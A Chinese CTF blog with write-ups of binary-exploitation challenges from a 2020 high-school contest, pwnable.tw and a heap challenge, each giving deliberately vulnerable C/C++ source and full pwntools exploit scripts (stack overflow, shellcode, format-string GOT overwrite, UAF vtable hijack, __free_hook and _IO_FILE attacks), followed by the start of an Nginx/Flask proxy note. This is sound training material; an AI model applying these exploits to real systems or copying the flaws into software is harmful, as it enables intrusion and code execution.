eqqie 发布的文章

2020年 第三届全国中学生网络安全竞赛

初赛

初赛终榜

blind

思路

  • 这是一道签到盲pwn,用于getshell的函数地址已经给出,只需要循环爆破栈溢出字节数即可
  • 通过观察发现,如果发生了栈溢出再输入#exit会没有stopping提示而直接重启服务,说明栈被破坏了,以此可以确定是否达到所需字节数

源代码

#include<cstdio>
#include<cstdlib>
#include<cstring>
#include<unistd.h>
#include <sys/types.h>
#include <sys/wait.h>

void backdoor(){
    system("/bin/sh");
}

void echo(){
    char buf[32];
    puts("The echo server is starting...");
    puts("Type '#exit' to exit.");
    while(1){
        printf("msg:");
        scanf("%s",buf);
        if(!strcmp(buf, "#exit"))
            return;
        puts(buf);
    }
}

int main(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    puts("Welcome to mssctf2020.");
    printf("Here is a backdoor left by eqqie: %p\n\n\n",backdoor);
    while(1){
        int pid = fork();
        if(pid){ // main
            wait(NULL);
        }
        else{
            echo();
            puts("The echo server is stopping...");
            exit(0);
        }
    }    
}

exp

from pwn import *
#context.log_level = "debug"

def get_socket():
    return remote("mssctf.eqqie.cn", 10000)
    #return process("./blind")
offset = 1

p = get_socket()
p.recvuntil(b"eqqie: ")
backdoor = int(p.recvuntil(b"\n"), 16)
p.close

while True:
    p = get_socket()
    p.sendafter(b"msg:",b"A"*offset+b"\n")
    p.sendafter(b"msg:",b"#exit\n")
    ret = p.recvuntil(b"starting...")
    if b"stopping" not in ret:
        print("offset is:",offset)
        p.sendafter(b"msg:",b"A"*offset+p64(backdoor)+b"\n")
        p.sendafter(b"msg:",b"#exit\n")
        p.interactive()
        break
    else:
        offset+=1
        print("offset+1")
    p.close()

whisper

思路

  • say_hello 函数中存在溢出漏洞,当输入长度为 32 个字节时,strdup 函数会把 old rbp 一起保存到堆上,随后打印时可泄露栈地址。
  • 通过调试可以计算出保存在栈上的第二次输入处的指针。
  • 接收用户第二次输入的 scanf 函数也存在溢出漏洞,如果在第二次输入时写入 shellcode 并覆盖返回地址为指向 shellcode 的指针,即可 get shell。

源代码

#include <stdio.h>
#include <string.h>
#include <unistd.h>

void my_init() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

char *say_hello() {
    char name[24];
    char *p;
    memset(name, 0, sizeof(name) + 8);
    puts("input your name:");
    read(0, name, 32);
    p = strdup(name);
    printf("hello, %s\n", p);
    return p;
}

void say_goodbye() {
    puts("i see, goodbye.");
    return;
}

int main() {
    char *p;
    char buf[64];
    my_init();
    p = say_hello();
    puts("young man, what do you want to tell me?");
    scanf("%s", buf);
    say_goodbye();
    return 0;

}

exp

from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'

io = remote('mssctf.eqqie.cn', 10001)
# gdb.attach(io)

io.sendlineafter('input your name:', 'a' * 31)
leak = u64(io.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
success('leak: ' + hex(leak))

shellcode_place = leak - 0x50
info('shellcode_place: ' + hex(shellcode_place))

shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(0x58, 'a') + p64(shellcode_place)
io.sendlineafter('what do you want to tell me?', payload)
io.interactive()

baby_format

思路

  • 这是一个格式化字符串利用的题
  • 题目原先限制了printf次数,所以需要先在限制次数内泄露出栈和libc地址并修改循环计数变量
  • 通过构造栈上的二级指针向栈上某个位置写入一个指向printf_got的指针
  • 用上一步构造出的指针修改printf的got表
  • 当循环次数用尽后会用printf输出之前用户输入的name,所以只需要在开头输入name的时候构造成一条合法shell命令就可以getshell了

源代码

#include<cstdio>
#include<cstdlib>
#include<unistd.h>

char msg1[48];
char msg2[64];
char name[16];
char msg3[64];

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
}

void read_input(char *buf, unsigned int size){
    int i = 0;
    while(i<size){
        if(read(0, (buf+i), 1)==-1){
            break;
        }
        else{
            if(*(buf+i)=='\n'){
                *(buf+i) = '\0';
                break;
            }
            i++;
        }
    }
}

int main(){
    int timeout = 2;
    prepare();
    printf("Input your name:");
    read_input(name, 16);
    puts("Welcome to mssctf_2020!");
    do{
        printf("Leave me your msg: ");
        read_input(msg1, 48);
        sprintf(msg2, "You said that %s", msg1);
        printf(msg2);
    }
    while(timeout--);
    sprintf(msg3, "Welcome to XDU, %s!", name);
    puts(msg3);
    return 0;
}

tips

本题的演示exp有多次4字节写所以容易出现io卡住的情况,可以尝试分解成两次2字节写来解决

exp

from pwn import *
import time

#p = process("./baby_format")
p = remote("mssctf.eqqie.cn", 10002)
elf = ELF("./baby_format")
libc = ELF("./libc.so.6")
context.log_level = "debug"

#gdb.attach(p, "b printf\nc\n")
#gdb.attach(p, "b *0x40084c\nc\n")
printf_plt = elf.symbols[b"printf"]
puts_got = elf.got[b"puts"]

p.sendafter("Input your name:", b";/bin/sh;echo \x00\n")
p.recvuntil(b"Welcome to mssctf_2020!\n")

#leak
payload1 = b"||%9$p||%11$p||\n"
p.sendafter("Leave me your msg: ", payload1)
p.recvuntil(b"||")
libc_base = int(p.recvuntil(b"||",drop=True),16) - 0x20840
stack_leak = int(p.recvuntil(b"||",drop=True),16)
stack1 = stack_leak - 0xec
stack2 = stack_leak - 0xb8
print("libc_base", hex(libc_base))
print("stack_leak", hex(stack_leak))
print("stack1", hex(stack1))
print("stack2", hex(stack2))

#modify loop
print("modify loop")
low_bytes = stack1 & 0xFFFF
payload2 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload2)
p.sendafter("Leave me your msg: ", b"%6c%37$n\n")

#overwrite got_addr+0 to stack
print("overwrite got_addr+0 to stack")
low_bytes = stack2 & 0xFFFF
payload3 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload3)
payload4 = b"%" + str(int(puts_got-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload4)

#overwrite printf_got-printf_got+2
print("overwrite printf_got-printf_got+2")
system = libc_base + libc.symbols[b"system"]
print("system", hex(system))
low_bytes = system & 0xFFFF
payload5 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload5)

#overwrite got_addr+2 to stack
print("overwrite got_addr+2 to stack")
low_bytes = stack2 & 0xFFFF
payload6 = b"%" + str(int(low_bytes-14)).encode() + b"c%11$hn\n"
p.sendafter("Leave me your msg: ", payload6)
payload7 = b"%" + str(int(puts_got+2-14)).encode() + b"c%37$n\n"
p.sendafter("Leave me your msg: ", payload7)

#overwrite printf_got+2-printf_got+4
print("overwrite printf_got+2-printf_got+4")
low_bytes = (system >> 16) & 0xFFFF
payload8 = b"%" + str(int(low_bytes-14)).encode() + b"c%14$hn\n"
p.sendafter("Leave me your msg: ", payload8)

for i in range(14):
    p.sendafter("Leave me your msg: ", b"AAAA\n")
    time.sleep(0.5)

p.interactive()

决赛

决赛终榜

gift

前置知识

  • 基础逆向
  • C++虚表机制
  • UAF漏洞原理

思路

  • 程序模拟了个人信息管理系统,提供了如下功能

    • 创建个人信息
    • 显示个人信息
    • 删除个人信息
    • 自定义长度留言
  • 通过IDA逆向分析得知,bss全局变量区域会保存一个指针指向用户通过new关键字创建的对象,同时通过检查删除功能的实现发现该指针变量在对象销毁后没有置NULL,由此推测存在UAF(use after free)。于是进一步检查show功能。

  • show功能调用了对象中的某个方法来显示用户信息,同时还发现对象具有一个可以getshell的方法,只是不能直接调用。由此可以得知大概攻击思路:利用UAF修改虚表指针使得show功能能够getshell。

  • 接下来进入动态调试步骤:


    使用创建信息功能后检查堆内存


  • 0x615c10: 0x0000000000000000  0x0000000000000041
    0x615c20: 0x0000000000401e58  0x0000000000000014
    0x615c30: 0x0000000000615c40  0x0000000000000008
    0x615c40: 0x4141414141414141  0x0000000000000000
    

  • 刚刚创建的信息(name: AAAAAAAA, age: 20)被存入了一个0x40大小的堆块


  • 由C++虚表知识可知堆块头存放了vtable的地址,往后则是个人信息


  • 检查0x401e58(虚表)处内存


  • 0x401e58: 0x0000000000401788 0x0000000000401932


  • 明显是两个函数的地址,第一个是getshell函数,第二个是show info功能,调用show info时从vtable+0x8取出函数指针,只要把对象内存头部改为vtable-0x8就可以通过show info来调用getshell方法

  • 攻击步骤

    • 创建信息
    • 删除信息
    • 创建长度为0x30的留言
    • 使用show info功能getshell

exp

from pwn import *

p = process("./gift")
#context.log_level = "debug"

def create(name, age:int):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Your name: ")
    p.sendline(name)
    p.recvuntil(b"Your age: ")
    p.sendline(str(age).encode())

def show():
    p.recvuntil(b"> ")
    p.sendline(b"2")

def delete():
    p.recvuntil(b"> ")
    p.sendline(b"3")

def msg(content, length:int):
    p.recvuntil(b"> ")
    p.sendline(b"4")
    p.recvuntil(b"How long? ")
    p.sendline(str(length).encode())
    p.recvuntil(b"content: ")
    p.sendline(content)


def exp():
    vtable = 0x401e58
    chunk_size = 0x40

    create("eqqie",20)
    delete()
    msg(p64(vtable-0x8), 0x30)
    gdb.attach(p)
    show()
    p.interactive()

if __name__ == "__main__":
    exp()

源代码

//g++ -fstack-protector -no-pie -o uaf --std=c++17 uaf.cpp;chmod +x uaf;strip uaf;
#include<iostream>
#include<string>
#include<cstdio>
#include<stdlib.h>
#include<signal.h>
#include<unistd.h>
class student{
    private:
        virtual void gift(){
            //std::cout<<"Welcome to XDU next time."<<std::endl;
            std::cout<<"Your gift is a hard shell, and I hope you can use it to resist all fear."<<std::endl;
            system("/bin/sh");
        }
    protected:
        int age;
        std::string name;
    public:
        virtual void log_info(){
            std::cout<<"-----------------------------------------"<<std::endl;
            std::cout<<"My name is "<<name<<", and I am "<<age<<" years old."<<std::endl;
            std::cout<<"-----------------------------------------"<<std::endl;
        }
};

class mss_player : public student{
    public:
        mss_player(std::string name,int age){
            this->name = name;
            this->age = age;
        }
        virtual void log_info(){
            student::log_info();
            std::cout<<"I'm a mssctf player."<<std::endl;
        }
};

mss_player *my_info=NULL;

void welcome(){
    char msg[] = R"+*(  __  __                      _      __     _____   _                   _ 
 |  \/  |  ___   ___    ___  | |_   / _|   |  ___| (_)  _ __     __ _  | |
 | |\/| | / __| / __|  / __| | __| | |_    | |_    | | | '_ \   / _` | | |
 | |  | | \__ \ \__ \ | (__  | |_  |  _|   |  _|   | | | | | | | (_| | | |
 |_|  |_| |___/ |___/  \___|  \__| |_|     |_|     |_| |_| |_|  \__,_| |_|
                                                                          )+*";
    std::cout<<msg<<std::endl;
}

void prepare(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    alarm(0x3c);
}

int menu(){
    int choice;
    puts("\n1. Create my info.");
    puts("2. Show my info.");
    puts("3. Delete my info.");
    puts("4. Leave some message to eqqie.");
    puts("5. exit.");
    printf("> ");
    scanf("%d",&choice);
    return choice;
}

void create(){
    std::string name;
    int age;
    std::cout<<"Your name: ";
    std::cin>>name;
    std::cout<<"Your age: ";
    std::cin>>age;

    mss_player *mp = new mss_player(name, age);
    my_info = mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void show(){
    mss_player *mp = my_info;
    mp->log_info();
    std::cout<<"[+]Done!"<<std::endl;
}

void del(){
    mss_player *mp = my_info;
    delete mp;
    std::cout<<"[+]Done!"<<std::endl;
}

void msg(){
    int len;
    std::cout<<"How long? ";
    std::cin>>len;
    char *msg = new char[len];
    std::cout<<"content: ";
    std::cin>>msg;
    std::cout<<"[+]Done!"<<std::endl;
}

int main(){
    prepare();
    welcome();
    std::cout<<"Welcome to mssctf final, guys!"<<std::endl;
    std::cout<<"Eqqie leaves a small gift for each player, but you need some tips to open it~\n"<<std::endl;
    std::cout<<"Now you can manage your info to get the gift >"<<std::endl;
    while(1){
        switch(menu()){
            case 1:
                create();
                break;
            case 2:
                show();
                break;
            case 3:
                del();
                break;
            case 4:
                msg();
                break;
            case 5:
                std::cout<<"Bye~"<<std::endl;
                exit(0);
            default:
                printf("Sorry I don't konw...");
        }                                
    }
    return 0;
}

fishing master

前置知识

  • 格式化字符串
  • __free_hook

思路

  • 利用格式化字符串漏洞泄露保存在栈上的 libc 地址

  • 通过任意写修改 __free_hook 为 onegadget 或 system(需要在第一次输入时输入 ""/bin/sh\x00")

  • 当调用 free 函数时即可 get shell。

exp

from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

if args.G:
    io = remote('0.0.0.0', 9999)
elif args.D:
    io = gdb.debug('./fishing_master')
else:
    io = process('./fishing_master')

# gdb.attach(io)

'''
do you know how to use this fish hook for flag?
'''

payload = b'%7$saaaa' + p64(0x0000000000600fe8)

io.sendlineafter('tell me your name, and maybe i will teach you how to fish if i like it.', \
    'qqq')
io.sendlineafter('nice name and i like it, i\'ve remembered you in my mind.', '%13$p')
io.recvuntil('0x')
leak = int(b'0x' + io.recv(12), 16)
success('leak: ' + hex(leak))
libc.address = leak - 240 - libc.sym['__libc_start_main']
info('libc_base: ' + hex(libc.address))
free_hook = libc.sym['__free_hook']
info('free_hook: ' + hex(free_hook))
ogg = libc.address + 0x4527a
info('ogg: ' + hex(ogg))
# gdb.attach(io)
io.sendafter('What do you think of this new fish hook?', p64(free_hook))

io.sendafter('i do know you will like it, i hope it can make you a master of fishing.', \
    p64(ogg))

'''
What do you think of this new fish hook?
i do know you will like it, i hope it can make you a master of fishing.

0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

# gdb.attach(io)

io.interactive()

源代码

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char *p;

void func0() {
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    setvbuf(stderr, 0, _IONBF, 0);
    return;
}

void func1() {
    char name[8];
    puts("tell me your name, and maybe i will teach you how to fish if i like it.");
    read(0, name, 8);
    puts("nice name and i like it, i've remembered you in my mind.");
    p = strdup(name);
    return;
}

void func2() {
    char c[9];
    puts("then i decide to send you a gift for our friendship.");
    read(0, c, 8);
    printf(c);
    return;
}

void func3() {
    char d[9];
    puts("What do you think of this new fish hook?");
    read(0, d, 8);
    puts("i do know you will like it, i hope it can make you a master of fishing.");
    read(0, (void *) * (unsigned long *) d, 8);
    // printf("0x%lx\n", * (unsigned long*) d);
}

void func4() {
    puts("but i have to go, my friend. see you next time.");
    free(p);
    return;
}

int main() {
    func0();
    func1();
    func2();
    func3();
    func4();
    return 0;
}

wallet

前置知识

  • 原题:pwnable.kr -> passcode
  • 栈溢出
  • scanf函数

思路

  • begin存在栈溢出最大可以刚好覆盖check中的password1,而由于check中的scanf第二参数的不规范写法,导致只需要提前在begin中将password1覆盖为puts_got
  • 然后在第一个scanf的时候连带写入调用system("/bin/cat flag")前的push的语句(32位传参规则),从而绕过if的判断,提前cat flag

exp

from pwn import *

p=process("./pwn")
elf = ELF("./pwn")
context.log_level = "debug"
gdb.attach(p,"b *0x8048685\nc\n")
p.recvuntil(b"EXIT\n")
p.sendline(b'1')

puts_got = elf.got[b"puts"]
call_sys_addr = 0x0804862D

name = b'A'*104 + p32(puts_got) + str(call_sys_addr).encode() + b"\b" + str(call_sys_addr).encode() + b"\b" 

p.sendline(name)

p.interactive()

源代码

#include <stdio.h>
#include <stdlib.h>

void check(){
    int password1;
    int password2;

    printf("Now try the First password : ");
    scanf("%d", password1);
    fflush(stdin);

    printf("Now try the Second password : ");
    scanf("%d", password2);

    printf("Let me think......\n"); //优化为puts
    if(password1==338150 && password2==13371337){
                printf("OMG!YOU SUCCESS!\n");
                system("/bin/cat flag");
        }
        else{
                printf("You Failed! Try again.\n");
        exit(0);
        }
}

void begin(){
    char name[108];
    printf("Show me your name : ");
    scanf("%108s", name);
    printf("Welcome %s! :P\n", name);
}

int main(void){
    int num;
    printf("Wal1et prepares a big wallet for you, but clever man always has double passwords. So make your choice.\n");
    printf("1.JUST OPEN IT!\n");
    printf("2.EXIT\n");
    scanf("%d",&num);
    if(num==1){
    begin();
    check();     
    }else{
        return 0;
    }

    printf("Here is something you like.\n");
    return 0;    
}

从这题学到很多之前不太注意的地方,因此还盘点了一下C语言程序运行的整个流程,正所谓 ctf for learning(x

前置知识

从Hello world开始

Hello world简单吗?写起来简单,但是要解释清楚却很难。下面用一个helloworld程序静态编译(x64)作为例子讲解简单C程序的运行流程。

//gcc helloworld.c --static -o helloworld
#include<stdio.h>

int main(){
    printf("Hello world!\n");
    return 0;
}

不知道初学者会不会注意,明明在第一印象中main函数处于一个“至高无上”的地位,却还要在末尾return 0? 有没有想过这个返回值最后交给了谁?

反汇编分析

IDA打开刚刚编译的helloworld,对main函数查看交叉引用,发现在main之前有一个_start操作了main函数的地址,再对_start交叉引用发现,_start的地址是整个程序的Entry_point,也就是说,程序执行后最先执行的是start中的指令。

下面是start的反汇编结果:

.text:0000000000400890 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000400890 ; __unwind {
.text:0000000000400890                 xor     ebp, ebp
.text:0000000000400892                 mov     r9, rdx         ; rtld_fini
.text:0000000000400895                 pop     rsi             ; argc
.text:0000000000400896                 mov     rdx, rsp        ; ubp_av
.text:0000000000400899                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:000000000040089D                 push    rax
.text:000000000040089E                 push    rsp             ; stack_end
.text:000000000040089F                 mov     r8, offset __libc_csu_fini ; fini
.text:00000000004008A6                 mov     rcx, offset __libc_csu_init ; init
.text:00000000004008AD                 mov     rdi, offset main ; main
.text:00000000004008B4                 call    __libc_start_main
.text:00000000004008B4 _start          endp

可见,start在最后调用了__libc_start_main这个函数,经过查证,这是一个库函数(但是为了讲解方便这里使用了静态编译),主要的功能是初始化进程以及各类运行环境,并处理main函数的返回值。这个函数的声明如下:

int __libc_start_main(int (main) (int, char , char ), int argc, char * ubp_av, void (init) (void), void (*fini) (void), void (*rtld_fini) (void), void ( stack_end));

参数非常多,主要关注 rdi r8 rcx 的参数就行。

可以发现rdi中的地址就是main函数的地址,而r8和rcx分别对应__libc_csu_fini__libc_csu_init两个函数。

难道说__libc_start_main会利用这两个函数做些什么吗,于是再去查找这两个函数的相关信息发现,这两个函数各自与一个数组相关联:

.init_array:00000000006C9ED8 _init_array     segment para public 'DATA' use64
.init_array:00000000006C9EE0 off_6C9EE0      dq offset init_cacheinfo
.init_array:00000000006C9EE0 _init_array     ends
===========================================================================
.fini_array:00000000006C9EE8 _fini_array     segment para public 'DATA' use64x
.fini_array:00000000006C9EF0                 dq offset fini
.fini_array:00000000006C9EF0 _fini_array     ends

__libc_csu_init__libc_csu_fini分别对应_init_array_fini_array,这两个数组各自有两个元素,保存了一些函数指针。在进入这个两个函数的时候,他们会遍历调用各自数组中的函数指针。而且,__libc_csu_init 执行期在main之前,__libc_csu_fini 执行期在main之后。也就是说,这两个数组中的函数指针会在main函数执行前后被分别调用。

这里要注意的是,_init_array执行顺序是下标由小到大,_fini_array执行顺序是下标由大到小。

总结一下整个流程大概就是:

start -> _libc_start_main -> libc_csu_init(init_array) -> main -> libc_csu_finit(fini_array) -> exit(main_ret)

至此,最开始的小问题就解决了,main函数的返回值最后交给了_libc_start_main处理,而处理方式是作为exit的参数结束程序。

利用方式

那么有意思的来了,虽然_init_array不便控制,因为它在主函数前就执行完了,但是_fini_array却可以利用主函数的某些漏洞(如任意写)进行控制。

方式1:构造Loop

遇到写次数有限的格式化字符串漏洞,可以利用_fini_array构造loop进行多次写。

尝试构造如下结构:

fini_array[0] = __libc_csu_fini
fini_array[1] = target_func

这样在程序退出的时候,就会循环执行 __libc_csu_fini -> target_func -> __libc_csu_fini -> .... ,从而多次经过漏洞函数所在位置达到多次写的目的。

方式2:构造ROP链

这是比较难发现的点,首先仔细看__libc_csu_fini的反汇编结果:

.text:0000000000401710 ; void _libc_csu_fini(void)
.text:0000000000401710                 public __libc_csu_fini
.text:0000000000401710 __libc_csu_fini proc near               ; DATA XREF: _start+F↑o
.text:0000000000401710 ; __unwind {
.text:0000000000401710                 push    rbx
.text:0000000000401711                 mov     ebx, offset __JCR_LIST__
.text:0000000000401716                 sub     rbx, offset __do_global_dtors_aux_fini_array_entry
.text:000000000040171D                 sar     rbx, 3
.text:0000000000401721                 test    rbx, rbx
.text:0000000000401724                 jz      short loc_40173D
.text:0000000000401726                 db      2Eh
.text:0000000000401726                 nop     word ptr [rax+rax+00000000h]
.text:0000000000401730
.text:0000000000401730 loc_401730:                             ; CODE XREF: __libc_csu_fini+2B↓j
.text:0000000000401730                 call    ds:off_6C9EE0[rbx*8]
.text:0000000000401737                 sub     rbx, 1
.text:000000000040173B                 jnz     short loc_401730
.text:000000000040173D
.text:000000000040173D loc_40173D:                             ; CODE XREF: __libc_csu_fini+14↑j
.text:000000000040173D                 pop     rbx
.text:000000000040173E                 jmp     _fini
.text:000000000040173E ; } // starts at 401710

可以发现,在执行过程中,__libc_csu_fini先将rbp保存在了原栈,再把rbp迁移到fini_array的位置,然后从fini_array[1]到fini_array[0]进行函数指针的调用,最后利用原栈上的值恢复rbp。

但是如果有心人在fini_array[0]写入leave ret这种gadget的地址,就会导致rsp被迁移到fini_array上,然后按照fini_array[1],fini_array[2],fini_array[3]...这样顺序执行提前布置好的的ROP链。

题目分析

主函数伪代码(部分函数经过重命名):

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int addr_ret; // eax
  char *addr; // ST08_8
  char buf; // [rsp+10h] [rbp-20h]
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  result = (unsigned __int8)++byte_4B9330;
  if ( byte_4B9330 == 1 )
  {
    write(1u, "addr:", 5uLL);
    read(0, &buf, 0x18uLL);
    strtol((__int64)&buf);                      // 把输入内容转换为长整型(地址)
    addr = (char *)addr_ret;
    write(1u, "data:", 5uLL);
    read(0, addr, 0x18uLL);
    result = 0;
  }
  if ( __readfsqword(0x28u) != v7 )
    sub_44A3E0();
  return result;
}

题目主函数给了一个任意地址写,但是if判断限制只能写一次,并且没有地址泄露的步骤。

很明显,我们需要构造一个loop进行多次任意写,但是栈上地址不知道,所以不能写ret_addr,只能用fini_array构造loop。

但是loop回来能不能过if判断呢?显然不能......才怪。

只要你细心观察就会发现byte_4B9330unsigned _int8,也就是范围在0-255,也就是说当loop执行到一定次数,发生整数溢出时,byte_4B9330 == 1可以重新成立,这样就能继续任意写了。

下一步时构造execve("/bin/sh\x00", 0, 0)功能的ROP链到fini_array上。为了不破坏loop,只能从fini_array[2]开始写。

ROP链写完后,后把fini_array[0]写成leave ret,fini_array[1]写成ret,便可以在结束掉loop的同时将执行流衔接到ROP链上,完成getshell。

exp

from pwn import *

#p = process("./3x17")
p = remote("chall.pwnable.tw", 10105)
context.log_level = "debug"
#gdb.attach(p, "b *0x401C29\nc\n")
#gadgets
ret = 0x0000000000401016
leave_ret = 0x0000000000401c4b
pop_rax_ret = 0x000000000041e4af
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rdx_ret = 0x0000000000446e35
syscall = 0x00000000004022b4


fini_array = 0x4B40F0
_libc_csu_fini = 0x402960
main = 0x401B6D

def read_to(addr:int, content):
    p.recvuntil(b"addr:")
    p.send(str(addr).encode())
    p.recvuntil(b"data:")
    p.send(content)

def exp():
    #make loop
    read_to(fini_array, p64(_libc_csu_fini)+p64(main))

    #build ROP_chain
    binah_addr = 0x4B9300
    read_to(binah_addr, b"/bin/sh\x00")

    read_to(fini_array+0x8*2, p64(pop_rax_ret) + p64(59))
    read_to(fini_array+0x8*4, p64(pop_rdi_ret) + p64(binah_addr))
    read_to(fini_array+0x8*6, p64(pop_rsi_ret) + p64(0))
    read_to(fini_array+0x8*8, p64(pop_rdx_ret) + p64(0))
    read_to(fini_array+0x8*10, p64(syscall))

    #gdb.attach(p, "b *0x401C2E\nc\n")    
    #new stack & start rop
    read_to(fini_array, p64(leave_ret) + p64(ret))

    #getshell
    p.interactive()

if __name__ == "__main__":
    exp()

总结

其实二进制方向很多时候都是大道至简,只有真正掌握了底层原理和思考能力的人才不会在如今越来越商业化的安全行业中成为无头无脑的“做题家”。

safebox

题目文件

pwn

libc.so

分析

这个题感觉挺经典的,分配堆时存在一字节溢出。且只能在分配时写入,不能修改,不能打印堆块内容。

整理一下大致的思路,因为需要写malloc_hook或者free_hook,可以尝试先利用_IO_FILE_stdout泄露地址。既然需要泄露地址那就需要构造unsortedbin和伪造tcache(这里是难点)。主要构造方式参考了sad师傅的思路:利用unlink的方式将四个堆块构造成overlapping,合并成一个大的unsortedbin,同时保留中间两个堆块的指针以便在后续步骤中释放被覆盖的堆块,使其进入tcache,这样堆块上如果有stdout的地址就可以通过两次malloc进行修改_IO_FILE_stdout。还有一个问题就是如何进行部分写构造出stdout的地址?其实很简单,只要从构造出的大unsortedbin中切割一部分,让剩下的部分对齐之前保留的指针,然后再次申请malloc(1)就可以写unsorted_arena低二字节,进行爆破。

整理如下:

  • 构造4个块的overlapping(unlink);
  • 释放被覆盖堆块、切割unsortedbin、部分写伪造tcache;
  • stdout泄露libc;
  • 同第二步类似写freehook为system函数地址;
  • 最后,向一个堆块写入/bin/sh并将其释放即可.

注意本题one_gadget的各种利用方式都失效了,更改为用free_hook的方式

爆破脚本

环境:ubuntu18.04 libc2.27 python3

适合本地复现用,原题线上环境拿shell后需要输入token,有些区别

from pwn import *
import sys

context.log_level = "debug"

def add(idx:int, length:int, content):
    p.recvuntil(b">>>")
    p.sendline(b"1")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())
    p.recvuntil(b"len:")
    p.sendline(str(length).encode())
    p.recvuntil(b"content:")
    p.send(content)

def delete(idx:int):
    p.recvuntil(b">>>")
    p.sendline(b"2")
    p.recvuntil(b"idx:")
    p.sendline(str(idx).encode())

def exit():
    p.recvuntil(b">>>")
    p.sendline(b"3")

def exp():
    global p 
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
    # make unsortedbin for unlink
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ## unlink header
    add(7, 0xf8, b"idx7") #idx7
    ## keep ptr
    add(8, 0x88, b"idx8") #idx8
    add(9, 0x98, b"idx9") #idx9
    add(10, 0xf8, b"idx10") #idx10
    add(11, 0x10, b"pppp");
    for i in range(7):
        delete(i) # del idx:1-6
    delete(7)
    delete(9)
    payload1 = b"a"*0x90 + p64(0x90+0xa0+0x100) + b"\x00"
    add(9, 0x98, payload1) #idx9
    delete(10)
    #gdb.attach(p)
    # remalloc, UAF, fake tcache
    ## remalloc for UAF
    ## we have kept ptr: idx8, idx9 , and so we can make 2 fake tcaches
    for i in range(7):
        add(i, 0xf8, b"aaaa") #idx:0-6
    ### partial free
    delete(8)
    add(7, 0xf8, b"idx7") #idx7
    add(8, 0x1, b"\x60\xc7") #idx8
    ### attack _IO_FILE_stdout
    add(12, 0x88, b"idx12") #idx12
    #gdb.attach(p)
    payload2 = p64(0xfbad1800) + p64(0)*3 + b"\n"
    add(12, 0x88, payload2)
    ### leak libc_base
    p.recvn(23, timeout=1)
    leak = u64(p.recvn(8, timeout=1))
    libc_base = leak - 0x3eb780
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    free_hook = libc_base + libc.symbols[b"__free_hook"]
    #one = libc_base + 0x10a38c
    one = libc_base + libc.symbols[b"system"]
    print("leak:",hex(leak))
    print("libc_base:",hex(libc_base))
    print("malloc_hook:",hex(malloc_hook))
    print("free_hook:",hex(free_hook))
    print("one:",hex(one))

    # write malloc_hook
    delete(9)
    add(13, 0x68, b"idx13") #idx13
    payload3 = p64(free_hook)
    add(13, 0x8, payload3) #idx13
    add(13, 0x98, b"idx13") #idx13
    add(13, 0x98, p64(one)) #idx13
    #gdb.attach(p)
    ## go one_gadget
    add(15, 0x30, b"/bin/sh\x00")
    delete(15)
    p.sendline("ls")
    ret = p.recv()
    if b"flag" in ret:
        p.sendline("cat flag")
        print(p.recv())
        print("SUCCESS")
        sys.exit(0)
    else:
        print("NOT SUCCESS")
        p.close()

if __name__ == "__main__":
    while True:
        try:
            exp()
        except Exception as e:
            print("ERROR:",str(e))
            p.close()

使用Nginx反向代理Flask静态资源
环境:Ubuntu 18.04

实现原理

如果flask项目里面有大量静态资源,可以尝试使用Nginx代理对静态资源的请求,把真正的动态请求转发给Flask。

比如:
flask在127.0.0.1监听8001端口,而Nginx配置为监听0.0.0.0的8000端口,那么在外部请求hostname:8000时就会把动态请求转发到8001上,而静态资源请求则直接代理至储存静态资源的目录下。

Nginx配置

安装

apt install nginx

配置文件路径

  1. 存放全局配置:/etc/nginx/nginx.conf
  2. 存放单个server配置:/etc/nginx/conf.d/xxx-xxx-xxx.conf
    > 这个目录下的配置默认被1中的配置文件include了,所以可以单独编辑

* 注意Nginx配置文件的内层块是会继承外层块的属性的

具体配置内容

nginx.conf

  • 其中每个配置项都大有讲究,单这里重点标记反代flask要注意的
  • 如果在运行中改变了配置文件可以用nginx -s reload重载
#default: www-data
#这里要注意,运行nginx的用户需要和flask保持一致(这里个人原因用了root),否则会发生权限错误
user root;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
    worker_connections 768;
    # multi_accept on;
}

http {
